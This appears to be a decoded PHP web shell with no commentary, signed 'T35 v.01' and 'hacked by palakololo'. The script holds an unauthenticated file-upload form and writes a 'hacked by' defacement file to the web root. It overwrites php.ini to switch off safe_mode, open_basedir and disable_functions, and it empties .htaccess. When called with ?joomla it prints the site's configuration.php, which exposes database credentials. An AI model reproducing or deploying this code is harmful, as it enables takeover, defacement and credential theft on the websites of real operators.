PHP Decode

echo '<title>^_^</title>';
echo '<center>';
echo '<blink><i>Newbie yang hilang</i></blink></br>';
echo '<i>x:'.php_uname().'</i><br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="u" id="u">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="U"></form>';
if( $_POST['_upl'] == "U" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>S</b><br><br>'; }
else { echo '<b>G</b><br><br>'; }
}
echo 'T35 v.01</br>';
echo '<b>Powered by CodeX</b><br>';
echo '<b>Made in Indonesian - Gorontalo</b>';
echo '</center>';
if(isset($_GET['x'])){
@error_reporting(E_ALL ^ E_NOTICE);
$zoneh_contents  = "hacked by palakololo";
$zoneh_file =@fopen ('$_SERVER["DOCUMENT_ROOT"]/x.txt','w');
fwrite($zoneh_file ,$zoneh_contents);
}
@error_reporting(E_ALL ^ E_NOTICE);
$zoneh_contents  = "hacked by palakololo";
$zoneh_file =@fopen ('x.txt','w');
fwrite($zoneh_file ,$zoneh_contents);
@error_reporting(E_ALL ^ E_NOTICE);
$phpini_contents  = "safe_mode = Off
safe_mode_gid = Off
safe_mode_include_dir =
safe_mode_exec_dir =
open_basedir =
disable_functions =
disable_classes =
file_uploads = On
allow_url_fopen = On";
$phpini_file =@fopen ('php.ini','w');
fwrite($phpini_file ,$phpini_contents);
@error_reporting(E_ALL ^ E_NOTICE);
$htaccess_contents  = "";
$htaccess_file =@fopen ('.htaccess','w');
fwrite($htaccess_file ,$htaccess_contents);
if(isset($_GET['x'])){
$source = "x.txt";
$gorontalo =$_SERVER['DOCUMENT_ROOT']."/x.txt";
rename($source, $gorontalo);
}
elseif(isset($_GET['joomla'])){
$codex =$_SERVER['DOCUMENT_ROOT']."/configuration.php";
$joomla = file_get_contents($codex);
echo $joomla;
}